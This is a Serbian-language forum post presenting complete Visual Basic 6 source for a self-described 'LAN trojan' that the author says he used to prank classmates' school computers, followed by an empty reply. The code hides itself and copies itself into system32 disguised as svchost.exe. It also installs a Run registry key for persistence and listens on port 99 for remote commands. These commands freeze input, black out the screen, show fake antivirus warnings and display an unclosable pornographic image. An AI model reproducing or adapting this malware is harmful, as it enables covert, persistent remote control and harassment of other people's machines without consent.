archer
Broj poruka : 297 Godina : 31 Lokacija : Kamenica Datum upisa : 23.06.2007
| Naslov: [VB6] LAN trojanac Pet Sep 26, 2008 8:02 pm | |
| ovo sam napravio za zaebanciju u skoli, cele prosle godine sam jebao sa send message. Dakle evo koda, krajnje je jednostavan i neuredan. form 1: - Kod:
-
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load() Me.Visible = False App.TaskVisible = False sock.LocalPort = 99 Dim trenutno trenutno = App.Path & "\" & App.EXEName & ".exe" If Dir("C:\WINDOWS\system32\1009\", vbDirectory) = "" Then MkDir "C:\WINDOWS\system32\1009\" If Dir("C:\WINDOWS\system32\1009\svchost.exe", vbDirectory) = "" Then FileCopy trenutno, "C:\WINDOWS\system32\1009\svchost.exe" End If Set hack = CreateObject("wscript.shell") hack.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkDriver", "C:\WINDOWS\system32\1009\svchost.exe", "REG_SZ" End Sub Private Sub sock_ConnectionRequest(ByVal requestID As Long) If sock.State = sckListening Then sock.Close sock.Accept requestID End If End Sub Private Sub sock_DataArrival(ByVal bytesTotal As Long) On Error Resume Next
Dim strData As String, i, lngReturn sock.GetData a, vbString If a = "virus" Then MsgBox "A virus has been detected!" & vbCrLf & "Please alarm network administrar.", vbCritical + vbOKOnly, "Windows security center: ANTIVIRUS" If a = "napad" Then Me.Width = Screen.Width Me.Height = Screen.Height Me.Visible = True Me.BackColor = vbBlack lbl.FontSize = 60 lbl.Top = (Screen.Height \ 2) - (lbl.Height \ 2) lbl.Left = (Screen.Width \ 2) - (lbl.Width \ 2) End If If a = "stop" Then Me.Visible = False If a = "kill" Then DoEvents BlockInput True End If If a = "beep" Then Beep 300, 300 Beep 400, 170 Beep 500, 170 Beep 600, 170 Beep 500, 150 Beep 400, 140 Beep 500, 130 Beep 600, 120 Beep 700, 150 Beep 800, 170 Beep 900, 170 Beep 1000, 170 Beep 1100, 600 Sleep 200 Beep 1100, 200 Sleep 200 Beep 1100, 200 Sleep 200 Beep 1100, 200 Sleep 200 Beep 1100, 200 Sleep 200 Beep 1100, 200 Sleep 200 Beep 1100, 200 Beep 700, 200 Beep 300, 200 Beep 100, 200 Beep 50, 10000 Beep 8000, 5000 Beep 10000, 5000 Beep 13000, 5000 Beep 14000, 5000 End If If a = "spider" Then For i = 1 To 20 lngReturn = Shell("C:\Windows\system32\spider.exe", vbNormalFocus) Next i End If If a = "porno" Then Form2.Show End If If a = "stopporno" Then Form2.Hide End If End Sub
Private Sub Timer1_Timer() On Error Resume Next If sock.State = sckClosing Then sock.Close sock.Listen End If If sock.State = sckClosed Then sock.Close sock.Listen End If End Sub
module: - Kod:
-
Public Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
ako sete zagledali kod a je string koji se dobija pomocu winsocka, program prepoznaje par stringova i na svaki izvodi neku funkciju, inace program se ubacuje u start up i stalno osluskuje port 99 (trebao sam da stavim port 80 al gotovo je sad), problem ako ste se konektovali pa diskonektovali pa ako bi ste opet hteli da se konektujete dobili bi ste error, to sam sredio (timer1). program je skriven uz Me.Visible = False App.TaskVisible = False I sve ostale sitnice. a opcije za zezanje su: 1. msg box 2. black screen 3. 20 puta pokrene spidera 4. Odsvira melodiju na zvucniku na maticnoj (ja komponovao :>) 5. zaledi masinu 6. prikazuje "povno" sliku, ne moze da se ugasi i to je sve sto mi je palo na pamet.
Poslednji izmenio archer dana Pet Sep 26, 2008 8:06 pm, izmenjeno ukupno 1 puta (Razlog : Gramaticke greske :>) | |
|
antihrist
Broj poruka : 2 Datum upisa : 29.06.2010
| Naslov: Re: [VB6] LAN trojanac Uto Jun 29, 2010 5:39 am | |
| | |
|